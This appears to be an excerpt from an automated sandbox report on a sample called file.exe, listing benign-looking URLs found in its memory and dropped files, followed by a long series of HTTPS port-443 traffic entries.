Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://web.telegram.org/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://web.whatsapp.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: DGDBKFBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.15.dr, content_new.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 39b6ee48-2e02-46d6-8151-a00a3db7fe1c.tmp.16.dr, cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_336.7.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_336.7.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_336.7.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.instagram.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.last.fm/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.messenger.com
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: CFIIIJJKJKFHIDGDBAKJEBKEGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.office.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.tiktok.com/
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://www.youtube.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50405
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50406
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50408
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 50381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50458
Source: unknown	Network traffic detected: HTTP traffic on port 50443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50457
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50450
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50456
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50455
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50460
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50414
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50419
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50410
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50411
